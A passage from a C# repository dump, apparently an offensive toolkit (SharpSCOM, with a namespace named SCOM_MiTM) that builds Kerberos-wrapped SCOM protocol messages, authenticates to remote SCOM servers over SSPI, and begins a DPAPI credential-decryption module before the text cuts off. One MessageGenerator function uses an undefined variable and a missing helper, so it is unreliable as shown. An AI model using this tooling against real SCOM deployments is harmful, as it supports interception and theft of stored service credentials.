| /// Whether the package supports generating encrypted messages. Required for EncryptMessage and DecryptMessage. 58 | /// 59 | Privacy = 0x2, 60 | 61 | /// 62 | /// Whether the package uses any other buffer information than token buffers. 63 | /// 64 | TokenOnly = 0x4, 65 | 66 | /// 67 | /// Whether the package supports datagram-style authentication. 68 | /// 69 | Datagram = 0x8, 70 | 71 | /// 72 | /// Whether the package supports creating contexts with connection semantics 73 | /// 74 | Connection = 0x10, 75 | 76 | /// 77 | /// Multiple legs are neccessary for authentication. 78 | /// 79 | MultiLeg = 0x20, 80 | 81 | /// 82 | /// Server authentication is not supported. 83 | /// 84 | ClientOnly = 0x40, 85 | 86 | /// 87 | /// Supports extended error handling facilities. 88 | /// 89 | ExtendedError = 0x80, 90 | 91 | /// 92 | /// Supports client impersonation on the server. 93 | /// 94 | Impersonation = 0x100, 95 | 96 | /// 97 | /// Understands Windows princple and target names. 98 | /// 99 | AcceptWin32Name = 0x200, 100 | 101 | /// 102 | /// Supports stream semantics 103 | /// 104 | Stream = 0x400, 105 | 106 | /// 107 | /// Package may be used by the Negiotiate meta-package. 108 | /// 109 | Negotiable = 0x800, 110 | 111 | /// 112 | /// Compatible with GSS. 113 | /// 114 | GssCompatible = 0x1000, 115 | 116 | /// 117 | /// Supports LsaLogonUser 118 | /// 119 | Logon = 0x2000, 120 | 121 | /// 122 | /// Token buffers are in Ascii format. 123 | /// 124 | AsciiBuffers = 0x4000, 125 | 126 | /// 127 | /// Supports separating large tokens into multiple buffers. 128 | /// 129 | Fragment = 0x8000, 130 | 131 | /// 132 | /// Supports mutual authentication between a client and server. 133 | /// 134 | MutualAuth = 0x10000, 135 | 136 | /// 137 | /// Supports credential delegation from the server to a third context. 138 | /// 139 | Delegation = 0x20000, 140 | 141 | /// 142 | /// Supports calling EncryptMessage with the read-only-checksum flag, which protects data only 143 | /// with a checksum and does not encrypt it. 144 | /// 145 | ReadOnlyChecksum = 0x40000, 146 | 147 | /// 148 | /// Whether the package supports handling restricted tokens, which are tokens derived from existing tokens 149 | /// that have had restrictions placed on them. 150 | /// 151 | RestrictedTokens = 0x80000, 152 | 153 | /// 154 | /// Extends the negotiate package; only one such package may be registered at any time. 155 | /// 156 | ExtendsNego = 0x00100000, 157 | 158 | /// 159 | /// This package is negotiated by the package of type ExtendsNego. 160 | /// 161 | Negotiable2 = 0x00200000, 162 | } 163 | } -------------------------------------------------------------------------------- /SharpSCOM/Auth/KerberosMessageGenerator.cs: -------------------------------------------------------------------------------- 1 | using SharpSCOM.Common; 2 | using System; 3 | using System.Linq; 4 | 5 | namespace SharpSCOM.Auth 6 | { 7 | public static class KerberosMessageGenerator 8 | { 9 | private static ILogger logger => LoggerFactory.Logger; 10 | 11 | // SCOM protocol headers 12 | private static readonly byte[] SCOM_AP_REQ_HEADER_1 = new byte[] 13 | { 14 | 0x7e, 0x4d, 0x4f, 0x4d, 0x07, 0x00, 0x01, 0x7d, 0x1c, 0x01, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 15 | 0x02, 0x00, 0x00, 0x00, 0xf0, 0x23, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 16 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 17 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 18 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 19 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 20 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 21 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 22 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 23 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 24 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 25 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 26 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 27 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 28 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 29 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 30 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 31 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 32 | 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 33 | }; 34 | 35 | private static readonly byte[] SCOM_AP_REQ_HEADER_2 = new byte[] 36 | { 37 | 0x04, 0xe4, 0xf4, 0x9f 38 | }; 39 | 40 | private static readonly byte[] SCOM_AP_REP_HEADER = new byte[] 41 | { 42 | 0x7e, 0x4d, 0x4f, 0x4d, 0x07, 0x00, 0x01, 0x71, 0x00, 0x00, 0x00, 0x00, 0x04, 0xe4, 0xf4, 0x9f 43 | }; 44 | 45 | // Generate Kerberos AP_REQ message with SCOM protocol headers 46 | public static byte[] GenerateApReq(byte[] clientToken) 47 | { 48 | if (clientToken == null || clientToken.Length == 0) 49 | { 50 | logger.Error("GenerateApReq: clientToken is null or empty"); 51 | return null; 52 | } 53 | 54 | try 55 | { 56 | // Calculate first size value (token length + 8) 57 | int size1 = clientToken.Length + 8; 58 | byte[] scom_sspi_bytes_1_size = BitConverter.GetBytes(size1); 59 | 60 | // Calculate second size value (token length) 61 | byte[] scom_sspi_bytes_2_size = BitConverter.GetBytes(clientToken.Length); 62 | 63 | logger.Debug($"GenerateApReq: Token length={clientToken.Length}, Size1={size1}"); 64 | 65 | // Create packet 66 | byte[] combinedArray = SCOM_AP_REQ_HEADER_1 67 | .Concat(scom_sspi_bytes_1_size) 68 | .Concat(SCOM_AP_REQ_HEADER_2) 69 | .Concat(scom_sspi_bytes_2_size) 70 | .Concat(clientToken) 71 | .ToArray(); 72 | 73 | logger.Debug($"GenerateApReq: Generated packet of {combinedArray.Length} bytes"); 74 | 75 | return combinedArray; 76 | } 77 | catch (Exception ex) 78 | { 79 | logger.Error($"Error generating AP_REQ: {ex.Message}", ex); 80 | return null; 81 | } 82 | } 83 | 84 | // Generate Kerberos AP_REP message with SCOM protocol headers 85 | public static byte[] GenerateApRep(byte[] clientToken) 86 | { 87 | if (clientToken == null || clientToken.Length == 0) 88 | { 89 | logger.Error("GenerateApRep: clientToken is null or empty"); 90 | return null; 91 | } 92 | 93 | try 94 | { 95 | // Calculate size value 96 | byte[] scom_sspi_bytes_size = BitConverter.GetBytes(clientToken.Length); 97 | 98 | logger.Debug($"GenerateApRep: Token length={clientToken.Length}"); 99 | 100 | // Create packet 101 | byte[] combinedArray = SCOM_AP_REP_HEADER 102 | .Concat(scom_sspi_bytes_size) 103 | .Concat(clientToken) 104 | .ToArray(); 105 | 106 | logger.Debug($"GenerateApRep: Generated packet of {combinedArray.Length} bytes"); 107 | 108 | return combinedArray; 109 | } 110 | catch (Exception ex) 111 | { 112 | logger.Error($"Error generating AP_REP: {ex.Message}", ex); 113 | return null; 114 | } 115 | } 116 | } 117 | } -------------------------------------------------------------------------------- /SharpSCOM/Auth/SSPIMessageGenerator.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Net.Sockets; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | using NSspi; 8 | using NSspi.Contexts; 9 | using NSspi.Credentials; 10 | using SharpSCOM.Common; 11 | 12 | namespace SharpSCOM.Auth 13 | { 14 | class SSPIMessageGenerator : IDisposable 15 | { 16 | private ILogger logger => LoggerFactory.Logger; 17 | private TcpClient _remoteClient; 18 | private NetworkStream _remoteStream; 19 | private ClientContextManager _clientManager; 20 | private string _remoteServer; 21 | private int _remotePort; 22 | private bool _isConnected; 23 | private bool _isAuthenticated; 24 | 25 | // Constructor for persistent connections 26 | public SSPIMessageGenerator(string remoteServer, int remotePort) 27 | { 28 | _remoteServer = remoteServer; 29 | _remotePort = remotePort; 30 | _isConnected = false; 31 | _isAuthenticated = false; 32 | } 33 | 34 | // Connect and authenticate (call once) 35 | public bool Connect() 36 | { 37 | try 38 | { 39 | if (_isConnected) 40 | { 41 | logger.Info("Already connected"); 42 | return true; 43 | } 44 | 45 | logger.Info($"Connecting to {_remoteServer}:{_remotePort}"); 46 | 47 | _remoteClient = new TcpClient(_remoteServer, _remotePort); 48 | _remoteStream = _remoteClient.GetStream(); 49 | 50 | _isConnected = true; 51 | 52 | // Perform initial SSPI authentication 53 | logger.Info("Performing Kerberos SSPI authentication..."); 54 | _clientManager = new ClientContextManager(); 55 | ClientContext clientContext = _clientManager.CreateContext(_remoteServer); 56 | clientContext = _clientManager.ProcessInitialRequest(_remoteStream, _remoteServer); 57 | 58 | _isAuthenticated = true; 59 | 60 | return true; 61 | } 62 | catch (Exception ex) 63 | { 64 | logger.Error($"connecting to server: {ex.Message}"); 65 | Disconnect(); 66 | return false; 67 | } 68 | } 69 | 70 | // Send message and receive response (reuse connection) 71 | public byte[] SendMessage(byte[] payload) 72 | { 73 | try 74 | { 75 | if (!_isConnected || !_isAuthenticated) 76 | { 77 | logger.Error("Not connected or authenticated. Call Connect() first."); 78 | return null; 79 | } 80 | 81 | if (!_remoteClient.Connected) 82 | { 83 | logger.Error("Connection lost."); 84 | Disconnect(); 85 | return null; 86 | } 87 | 88 | // Encrypt and send the payload 89 | logger.Info($"Sending {payload.Length} bytes to server..."); 90 | byte[] encryptedPayload = _clientManager.EncryptWrapToken(payload); 91 | _remoteStream.Write(encryptedPayload, 0, encryptedPayload.Length); 92 | _remoteStream.Flush(); 93 | 94 | // Receive and decrypt the response 95 | logger.Info("Waiting for server response..."); 96 | byte[] responseMessage = _clientManager.DecryptWrapToken(_remoteStream); 97 | 98 | if (responseMessage != null) 99 | { 100 | logger.Info($"Received {responseMessage.Length} bytes from server"); 101 | return responseMessage; 102 | } 103 | else 104 | { 105 | logger.Error("No response received from server"); 106 | return null; 107 | } 108 | } 109 | catch (Exception ex) 110 | { 111 | logger.Error($"Error sending message: {ex.Message}"); 112 | logger.Error($"Stack trace: {ex.StackTrace}"); 113 | 114 | // Connection is broken, clean up 115 | Disconnect(); 116 | return null; 117 | } 118 | } 119 | 120 | // Disconnect and cleanup 121 | public void Disconnect() 122 | { 123 | try 124 | { 125 | if (_remoteStream != null) 126 | { 127 | _remoteStream.Close(); 128 | _remoteStream.Dispose(); 129 | _remoteStream = null; 130 | } 131 | 132 | if (_remoteClient != null) 133 | { 134 | _remoteClient.Close(); 135 | _remoteClient.Dispose(); 136 | _remoteClient = null; 137 | } 138 | 139 | _isConnected = false; 140 | _isAuthenticated = false; 141 | 142 | logger.Info("Disconnected from server"); 143 | } 144 | catch (Exception ex) 145 | { 146 | logger.Error($"ERROR during disconnect: {ex.Message}"); 147 | } 148 | } 149 | 150 | // Check if connected 151 | public bool IsConnected() 152 | { 153 | return _isConnected && _isAuthenticated && _remoteClient != null && _remoteClient.Connected; 154 | } 155 | 156 | public void Dispose() 157 | { 158 | Disconnect(); 159 | } 160 | } 161 | } -------------------------------------------------------------------------------- /nsspi/NSspi/Contexts/ContextAttrib.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace NSspi.Contexts 4 | { 5 | /// 6 | /// Defines options for creating a security context via win32 InitializeSecurityContext 7 | /// (used by clients) and AcceptSecurityContext (used by servers). 8 | /// Required attribute flags are specified when creating the context. InitializeSecurityContext 9 | /// and AcceptSecurityContext returns a value indicating what final attributes the created context 10 | /// actually has. 11 | /// 12 | [Flags] 13 | public enum ContextAttrib : int 14 | { 15 | /// 16 | /// No additional attributes are provided. 17 | /// 18 | Zero = 0, 19 | 20 | /// 21 | /// The server can use the context to authenticate to other servers as the client. The 22 | /// MutualAuth flag must be set for this flag to work. Valid for Kerberos. Ignore this flag for 23 | /// constrained delegation. 24 | /// 25 | Delegate = 0x00000001, 26 | 27 | /// 28 | /// The mutual authentication policy of the service will be satisfied. 29 | /// *Caution* - This does not necessarily mean that mutual authentication is performed, only that 30 | /// the authentication policy of the service is satisfied. To ensure that mutual authentication is 31 | /// performed, query the context attributes after it is created. 32 | /// 33 | MutualAuth = 0x00000002, 34 | 35 | /// 36 | /// Detect replayed messages that have been encoded by using the EncryptMessage or MakeSignature 37 | /// message support functionality. 38 | /// 39 | ReplayDetect = 0x00000004, 40 | 41 | /// 42 | /// Detect messages received out of sequence when using the message support functionality. 43 | /// This flag implies all of the conditions specified by the Integrity flag - out-of-order sequence 44 | /// detection can only be trusted if the integrity of any underlying sequence detection mechanism 45 | /// in transmitted data can be trusted. 46 | /// 47 | SequenceDetect = 0x00000008, 48 | 49 | // The context must protect data while in transit. 50 | // Confidentiality is supported for NTLM with Microsoft 51 | // Windows NT version 4.0, SP4 and later and with the 52 | // Kerberos protocol in Microsoft Windows 2000 and later. 53 | 54 | /// 55 | /// The context must protect data while in transit. Encrypt messages by using the EncryptMessage function. 56 | /// 57 | Confidentiality = 0x00000010, 58 | 59 | /// 60 | /// A new session key must be negotiated. 61 | /// This value is supported only by the Kerberos security package. 62 | /// 63 | UseSessionKey = 0x00000020, 64 | 65 | /// 66 | /// The security package allocates output buffers for you. Buffers allocated by the security package have 67 | /// to be released by the context memory management functions. 68 | /// 69 | AllocateMemory = 0x00000100, 70 | 71 | /// 72 | /// The security context will not handle formatting messages. This value is the default for the Kerberos, 73 | /// Negotiate, and NTLM security packages. 74 | /// 75 | Connection = 0x00000800, 76 | 77 | /// 78 | /// When errors occur, the remote party will be notified. 79 | /// 80 | /// 81 | /// A client specifies InitExtendedError in InitializeSecurityContext 82 | /// and the server specifies AcceptExtendedError in AcceptSecurityContext. 83 | /// 84 | InitExtendedError = 0x00004000, 85 | 86 | /// 87 | /// When errors occur, the remote party will be notified. 88 | /// 89 | /// 90 | /// A client specifies InitExtendedError in InitializeSecurityContext 91 | /// and the server specifies AcceptExtendedError in AcceptSecurityContext. 92 | /// 93 | AcceptExtendedError = 0x00008000, 94 | 95 | /// 96 | /// Support a stream-oriented connection. Provided by clients. 97 | /// 98 | InitStream = 0x00008000, 99 | 100 | /// 101 | /// Support a stream-oriented connection. Provided by servers. 102 | /// 103 | AcceptStream = 0x00010000, 104 | 105 | /// 106 | /// Sign messages and verify signatures by using the EncryptMessage and MakeSignature functions. 107 | /// Replayed and out-of-sequence messages will not be detected with the setting of this attribute. 108 | /// Set ReplayDetect and SequenceDetect also if these behaviors are desired. 109 | /// 110 | InitIntegrity = 0x00010000, 111 | 112 | /// 113 | /// Sign messages and verify signatures by using the EncryptMessage and MakeSignature functions. 114 | /// Replayed and out-of-sequence messages will not be detected with the setting of this attribute. 115 | /// Set ReplayDetect and SequenceDetect also if these behaviors are desired. 116 | /// 117 | AcceptIntegrity = 0x00020000, 118 | 119 | /// 120 | /// Set by a client; indicates the context can only impersonate with limited privileges, 121 | /// allowing the server only to identify the client when impersonating. 122 | /// 123 | InitIdentify = 0x00020000, 124 | 125 | /// 126 | /// Set by a server; indicates the context can only impersonate with limited privileges, 127 | /// allowing the server only to identify the client when impersonating. 128 | /// 129 | AcceptIdentify = 0x00080000, 130 | 131 | /// 132 | /// An Schannel provider connection is instructed to not authenticate the server automatically. 133 | /// 134 | InitManualCredValidation = 0x00080000, 135 | 136 | /// 137 | /// An Schannel provider connection is instructed to not authenticate the client automatically. 138 | /// 139 | InitUseSuppliedCreds = 0x00000080, 140 | } 141 | } -------------------------------------------------------------------------------- /nsspi/NSspi/Credentials/Credential.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | namespace NSspi.Credentials 6 | { 7 | /// 8 | /// Provides access to the pre-existing credentials of a security principle. 9 | /// 10 | public class Credential : IDisposable 11 | { 12 | /// 13 | /// The name of the security package that controls the credential. 14 | /// 15 | private readonly string securityPackage; 16 | 17 | /// 18 | /// Whether the Credential has been disposed. 19 | /// 20 | private bool disposed; 21 | 22 | /// 23 | /// A safe handle to the credential's handle. 24 | /// 25 | private SafeCredentialHandle safeCredHandle; 26 | 27 | /// 28 | /// The UTC time the credentials expire. 29 | /// 30 | private DateTime expiry; 31 | 32 | /// 33 | /// Initializes a new instance of the Credential class. 34 | /// 35 | /// The security package to acquire the credential from. 36 | public Credential( string package ) 37 | { 38 | this.securityPackage = package; 39 | 40 | this.disposed = false; 41 | this.expiry = DateTime.MinValue; 42 | this.PackageInfo = PackageSupport.GetPackageCapabilities( this.SecurityPackage ); 43 | } 44 | 45 | /// 46 | /// Gets metadata for the security package associated with the credential. 47 | /// 48 | public SecPkgInfo PackageInfo { get; private set; } 49 | 50 | /// 51 | /// Gets the name of the security package that owns the credential. 52 | /// 53 | public string SecurityPackage 54 | { 55 | get 56 | { 57 | CheckLifecycle(); 58 | 59 | return this.securityPackage; 60 | } 61 | } 62 | 63 | /// 64 | /// Returns the User Principle Name of the credential. Depending on the underlying security 65 | /// package used by the credential, this may not be the same as the Down-Level Logon Name 66 | /// for the user. 67 | /// 68 | public string PrincipleName 69 | { 70 | get 71 | { 72 | QueryNameAttribCarrier carrier; 73 | SecurityStatus status; 74 | string name = null; 75 | bool gotRef = false; 76 | 77 | CheckLifecycle(); 78 | 79 | status = SecurityStatus.InternalError; 80 | carrier = new QueryNameAttribCarrier(); 81 | 82 | RuntimeHelpers.PrepareConstrainedRegions(); 83 | try 84 | { 85 | this.safeCredHandle.DangerousAddRef( ref gotRef ); 86 | } 87 | catch( Exception ) 88 | { 89 | if( gotRef == true ) 90 | { 91 | this.safeCredHandle.DangerousRelease(); 92 | gotRef = false; 93 | } 94 | throw; 95 | } 96 | finally 97 | { 98 | if( gotRef ) 99 | { 100 | status = CredentialNativeMethods.QueryCredentialsAttribute_Name( 101 | ref this.safeCredHandle.rawHandle, 102 | CredentialQueryAttrib.Names, 103 | ref carrier 104 | ); 105 | 106 | this.safeCredHandle.DangerousRelease(); 107 | 108 | if( status == SecurityStatus.OK && carrier.Name != IntPtr.Zero ) 109 | { 110 | try 111 | { 112 | name = Marshal.PtrToStringUni( carrier.Name ); 113 | } 114 | finally 115 | { 116 | NativeMethods.FreeContextBuffer( carrier.Name ); 117 | } 118 | } 119 | } 120 | } 121 | 122 | if( status.IsError() ) 123 | { 124 | throw new SSPIException( "Failed to query credential name", status ); 125 | } 126 | 127 | return name; 128 | } 129 | } 130 | 131 | /// 132 | /// Gets the UTC time the credentials expire. 133 | /// 134 | public DateTime Expiry 135 | { 136 | get 137 | { 138 | CheckLifecycle(); 139 | 140 | return this.expiry; 141 | } 142 | 143 | protected set 144 | { 145 | CheckLifecycle(); 146 | 147 | this.expiry = value; 148 | } 149 | } 150 | 151 | /// 152 | /// Gets a handle to the credential. 153 | /// 154 | public SafeCredentialHandle Handle 155 | { 156 | get 157 | { 158 | CheckLifecycle(); 159 | 160 | return this.safeCredHandle; 161 | } 162 | 163 | protected set 164 | { 165 | CheckLifecycle(); 166 | 167 | this.safeCredHandle = value; 168 | } 169 | } 170 | 171 | /// 172 | /// Releases all resources associated with the credential. 173 | /// 174 | public void Dispose() 175 | { 176 | Dispose( true ); 177 | GC.SuppressFinalize( this ); 178 | } 179 | 180 | /// 181 | /// Releases all resources associted with the credential. 182 | /// 183 | /// 184 | protected virtual void Dispose( bool disposing ) 185 | { 186 | if( this.disposed == false ) 187 | { 188 | if( disposing ) 189 | { 190 | this.safeCredHandle.Dispose(); 191 | } 192 | 193 | this.disposed = true; 194 | } 195 | } 196 | 197 | private void CheckLifecycle() 198 | { 199 | if( this.disposed ) 200 | { 201 | throw new ObjectDisposedException( "Credential" ); 202 | } 203 | } 204 | } 205 | } -------------------------------------------------------------------------------- /SCOMClient/MessageGenerator.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO.Compression; 4 | using System.IO; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | 9 | namespace SCOM_MiTM 10 | { 11 | static class MessageGenerator 12 | { 13 | public static byte[] GenerateApReq(byte[] clientToken) 14 | { 15 | // SCOM headers 16 | byte[] scom_ap_req_1_header = { 0x7e, 0x4d, 0x4f, 0x4d, 0x07, 0x00, 0x01, 0x7d, 0x1c, 0x01, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xf0, 0x23, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 }; 17 | byte[] scom_ap_req_2_header = { 0x04, 0xe4, 0xf4, 0x9f }; //static value 18 | 19 | // Calculate first size value 20 | byte[] scom_sspi_bytes_1_size = BitConverter.GetBytes(clientToken.Length + 8); 21 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_1: {BitConverter.ToString(scom_sspi_bytes_1_size)}"); 22 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_1: {clientToken.Length + 8}"); 23 | 24 | // Calculate second size value 25 | byte[] scom_sspi_bytes_2_size = BitConverter.GetBytes(clientToken.Length); 26 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_2: {BitConverter.ToString(scom_sspi_bytes_2_size)}"); 27 | //Console.WriteLine($"[REMOTE CLIENT]: scom_sspi_bytes_2: {clientToken.Length}"); 28 | 29 | // Create packet 30 | byte[] combinedArray = scom_ap_req_1_header.Concat(scom_sspi_bytes_1_size) 31 | .Concat(scom_ap_req_2_header) 32 | .Concat(scom_sspi_bytes_2_size) 33 | .Concat(clientToken) 34 | .ToArray(); 35 | 36 | //Console.WriteLine($"[REMOTE CLIENT]: scom_payload: {BitConverter.ToString(combinedArray)}"); 37 | 38 | return combinedArray; 39 | } 40 | 41 | public static byte[] GenerateApRep(byte[] clientToken) 42 | { 43 | // SCOM headers 44 | byte[] scom_ap_rep_1_header = { 0x7e, 0x4d, 0x4f, 0x4d, 0x07, 0x00, 0x01, 0x71, 0x00, 0x00, 0x00, 0x00, 0x04, 0xe4, 0xf4, 0x9f }; //static value 45 | 46 | // Calculate size value 47 | byte[] scom_sspi_bytes_size = BitConverter.GetBytes(clientToken.Length); 48 | //Console.WriteLine($"SERVER DEBUG MESSAGE 1: scom_sspi_bytes_size: {BitConverter.ToString(scom_sspi_bytes_size)}"); 49 | 50 | // Create packet 51 | byte[] combinedArray = scom_ap_rep_1_header.Concat(scom_sspi_bytes_size) 52 | .Concat(clientToken) 53 | .ToArray(); 54 | 55 | //Console.WriteLine($"CLIENT DEBUG MESSAGE 1: scom_payload: {BitConverter.ToString(combinedArray)}"); 56 | 57 | return combinedArray; 58 | } 59 | 60 | public static byte[] GenerateMOMHeader(byte[] plaintext_data) 61 | { 62 | try 63 | { 64 | // SCOM headers 65 | byte[] scom_mom_header = { 0x9e, 0x45, 0x24, 0x08 }; 66 | 67 | // SCOM msg count (hardcoded to 1 for now) 68 | byte[] scom_mom_msg_count = { 0x01, 0x00, 0x00, 0x00 }; 69 | 70 | 71 | 72 | using (MemoryStream memStream = new MemoryStream(dec_kerb_wrap_bytes)) 73 | { 74 | // hardcoded length of header (decrypted kerberos wrap token) 75 | int dec_kerb_wrap_header = 12; 76 | 77 | byte[] dec_wrap_header_bytes = new byte[dec_kerb_wrap_header]; 78 | 79 | int bytesRead = memStream.Read(dec_wrap_header_bytes, 0, dec_wrap_header_bytes.Length); 80 | 81 | // Extract the zlib compressed size from the decrypted wrap token (little endian) 82 | byte[] zlib_size_bytes = new byte[4]; 83 | bytesRead = memStream.Read(zlib_size_bytes, 0, zlib_size_bytes.Length); 84 | 85 | int zlib_size_int = BitConverter.ToInt32(zlib_size_bytes, 0); 86 | 87 | //Console.WriteLine($"SERVER DEBUG MESSAGE 1: dec_wrap_header_bytes: {BitConverter.ToString(dec_wrap_header_bytes)}"); 88 | //Console.WriteLine($"SERVER DEBUG MESSAGE 2: zlib_size_int: {zlib_size_int}"); 89 | 90 | // Skip over zlib header bytes (0x78, 0x9C) 91 | bytesRead = memStream.Read(new byte[2], 0, 2); 92 | 93 | byte[] zlib_data = new byte[zlib_size_int]; 94 | bytesRead = memStream.Read(zlib_data, 0, zlib_data.Length); 95 | 96 | byte[] zlib_data_decompressed = DecompressZlib(zlib_data); 97 | 98 | //Console.WriteLine($"SERVER DEBUG MESSAGE 3 (decompressed zlib_data): {BitConverter.ToString(zlib_data_decompressed)}"); 99 | //Console.WriteLine($"SERVER DEBUG MESSAGE 3 (decompressed zlib_data base64): {Convert.ToBase64String(zlib_data_decompressed)}"); 100 | 101 | return zlib_data_decompressed; 102 | } 103 | } 104 | catch (Exception e) 105 | { 106 | Console.WriteLine($"[!] ERROR: {e.Message}"); 107 | return null; 108 | } 109 | } 110 | 111 | public static byte[] CompressZlib(byte[] data) 112 | { 113 | using (MemoryStream outputStream = new MemoryStream()) 114 | { 115 | using (DeflateStream deflateStream = new DeflateStream(outputStream, CompressionMode.Compress)) 116 | deflateStream.Write(data, 0, data.Length); 117 | return outputStream.ToArray(); 118 | } 119 | } 120 | } 121 | } 122 | -------------------------------------------------------------------------------- /SharpSCOM/Crypto/DPAPIDecrypt.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Security.Cryptography; 4 | using System.Text; 5 | using Microsoft.Win32; 6 | using SharpSCOM.Common; 7 | 8 | namespace SharpSCOM.Crypto 9 | { 10 | public class Credential 11 | { 12 | public string Domain { get; set; } 13 | public string User { get; set; } 14 | public string Password { get; set; } 15 | public string RegistryPath { get; set; } 16 | 17 | public string GetFullUsername() 18 | { 19 | return string.IsNullOrEmpty(Domain) 20 | ? User 21 | : $"{Domain}\\{User}"; 22 | } 23 | } 24 | 25 | public static class 